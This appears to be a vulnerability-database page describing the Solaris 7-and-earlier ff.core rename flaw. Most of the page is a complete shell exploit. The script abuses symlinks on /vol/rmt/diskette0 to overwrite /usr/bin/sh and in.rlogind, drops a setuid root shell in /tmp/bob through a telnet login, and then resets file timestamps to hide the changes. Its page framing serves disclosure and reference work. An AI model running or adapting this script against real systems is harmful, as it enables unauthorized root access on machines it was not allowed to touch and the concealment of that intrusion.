Lucene search
K

Sun Solaris <= 7.0 ff.core Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

Solaris ff.core vulnerability allows users to gain root access through the rename comman

Code

                                                source: http://www.securityfocus.com/bid/327/info

There is a vulnerability in Solaris&#39;s ff.core utility which allows normal users to execute the rename command as root. This particular bug when levereged against a series of other configuration issues in a standard Solaris setup can lead to a root compromise. An example of tthis attack excecuted via the ff.core rename attack coul.d be as follows:

1. rename /usr/bin/sh /usr/bin/admintool
2. rename /usr/sbin/swmtool /usr/sbin/in.rlogind
3. telnet localhost login and clean up

Detailed messages concerning this problem and related fixes are attached to this Vulnerability in the Referance section. 

CORE has developed a working commercial exploit for their IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.

The following exploit was provided:

#!/bin/sh

# /usr/openwin/bin/ff.core exploit - horizon
# tested on 2.5.1, 2.6 and Solaris 7 (2.7)
# thanks to joej, adm, and joej :&#62;

# if you want to exploit 2.5, you can just make this move /etc/group over
# /etc/shadow. you will probably want to move /etc/shadow to /etc/s.bak

# first test if we can pull this off

echo &#34;Testing if exploit is possible...&#34;

if [ -x /usr/openwin/bin/ff.core ]
then
:
else
echo &#34;ff.core isn&#39;t there or executable. :/&#34;
exit 1
fi

if [ -w /vol/rmt ]
then
:
else
echo &#34;We can&#39;t do the symlink. :&#60;&#34;
exit 1
fi

mkdir /tmp/.test42
touch /tmp/.test42/bob

rm -f /vol/rmt/diskette0
ln -fs /tmp/.test42 /vol/rmt/diskette0
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/bob jim /floppy/ 2&#62;/dev/null

if [ -f /tmp/.test42/jim ]
then
echo &#34;Test successful. Proceeding...&#34;
else
echo &#34;Hmmm.. doesn&#39;t look like this is going to work :/&#34;
exit 1
fi

rm -rf /tmp/.test42

# lets make some backups

echo &#34;Backing up clobbered files to /tmp/.bk&#34;

mkdir /tmp/.bk
#save admintools times
touch /tmp/.bk/admintool
touch -r /usr/bin/admintool /tmp/.bk/admintool
#save rloginds times
touch /tmp/.bk/in.rlogind
touch -r /usr/sbin/in.rlogind /tmp/.bk/in.rlogind
#save a copy of /usr/bin/sh
cp /usr/bin/sh /tmp/.bk
touch -r /usr/bin/sh /tmp/.bk/sh

echo &#34;Doing sploit...&#34;

rm -f /vol/rmt/diskette0
ln -fs /usr/bin /vol/rmt/diskette0
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/admintool admintool.bak /floppy/ 2&#62;/dev/null

rm -f /vol/rmt/diskette0
ln -fs /usr/bin /vol/rmt/diskette0
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/sh admintool /floppy/ 2&#62;/dev/null

rm -f /vol/rmt/diskette0
ln -fs /usr/sbin /vol/rmt/diskette0
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/in.rlogind in.rlogind.bak /floppy/ 2&#62;/dev/null

rm -f /vol/rmt/diskette0
ln -fs /usr/sbin /vol/rmt/diskette0
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/swmtool in.rlogind /floppy/ 2&#62;/dev/null

echo &#34;Done with sploit. Testing and trying to clean up now...&#34;

sleep 1

(sleep 2;echo &#34; cp /bin/rksh /tmp/bob; chmod 4755 /tmp/bob; exit; &#34;) | telnet localhost login

sleep 1

if [ -f /tmp/bob ]
then
echo &#34;w00p! Should have a suid root sh in /tmp/bob&#34;
echo &#34;btw, its rksh because solaris is silly&#34;
echo &#34;Let me try to clean up my mess...&#34;
else
echo &#34;hrmmph.. didnt work. hope shits not screwed up bad :/&#34;
exit 1
fi

echo &#34;
cp /tmp/.bk/sh /usr/bin/sh
chmod 555 /usr/bin/sh
chown bin /usr/bin/sh
chgrp root /usr/bin/sh
touch -r /tmp/.bk/sh /usr/bin/sh
mv /usr/bin/admintool.bak /usr/bin/admintool
touch -r /tmp/.bk/admintool /usr/bin/admintool
rm -f /usr/sbin/swmtool
ln -s /usr/bin/admintool /usr/sbin/swmtool
touch -r /usr/bin/admintool /usr/sbin/swmtool
rm -f /usr/sbin/in.rlogind
mv /usr/sbin/in.rlogind.bak /usr/sbin/in.rlogind
touch -r /tmp/.bk/in.rlogind /usr/sbin/in.rlogind
rm -rf /tmp/.bk
&#34; | /tmp/bob

echo &#34;everything should be cool.. i think :&#62;&#34;
/tmp/bob 
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
17